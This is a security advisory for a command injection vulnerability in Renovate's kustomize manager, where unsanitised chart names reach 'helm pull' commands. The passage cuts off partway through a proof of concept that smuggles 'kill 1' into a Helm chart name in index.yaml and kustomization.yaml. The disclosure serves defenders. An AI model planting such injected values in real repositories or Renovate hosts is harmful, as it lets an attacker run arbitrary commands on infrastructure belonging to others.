Affected: renovatebot renovate

Renovate versions from 39.218.0 before 40.33.0 contain an arbitrary command injection vulnerability in the kustomize manager where user-provided chart names are appended to helm pull commands without proper sanitization. Attackers with repository write access can craft malicious kustomization.yaml files with specially crafted chart names to execute arbitrary commands on the Renovate host machine.

Affected: npm: renovate

### Summary The user-provided chart name in the `kustomize` manager is appended to the `helm pull --untar` command without proper sanitization.

### Details Adversaries can provide a maliciously crafted `kustomization.yaml` in conjunction with a Helm repo's `index.yaml` file to trick Renovate to execute arbitrary code. The value for the `depName` argument for the `helmRepositoryArgs` function in [lib/modules/manager/kustomize/artifacts.ts](https://github.com/renovatebot/renovate/blob/cc08c6e98f19e6258c5d3180c70c98e1be0b0d37/lib/modules/manager/kustomize/artifacts.ts#L33) is not being escaped using the `quote` function from the `shlex` package. This lack of proper sanitization has been present in the product since version 39.218.9 (https://github.com/renovatebot/renovate/commit/cc08c6e98f19e6258c5d3180c70c98e1be0b0d37), released on March 26 of 2025.

### PoC 1. Create a mock Helm repository. Have its `index.yaml` endpoint return: ```yaml apiVersion: v1 entries: "example || kill 1; echo": - version: 1.0.1 created: 2016-10-06T16:23:20.499814565-06:00 - version: 1.0.0 created: 2016-10-06T16:23:20.499543808-06:00 ```

2. Create a git repo with the following content:

`renovate.json5`:

```json5 { $schema: "https://docs.renovatebot.com/renovate-schema.json", postUpdateOptions: [ "kustomizeInflateHelmCharts", ] } ```

`kustomization.yaml`:

```yaml kind: Kustomization apiVersion: kustomize.config.k8s.io/v1beta1 helmCharts: - name: "example || kill…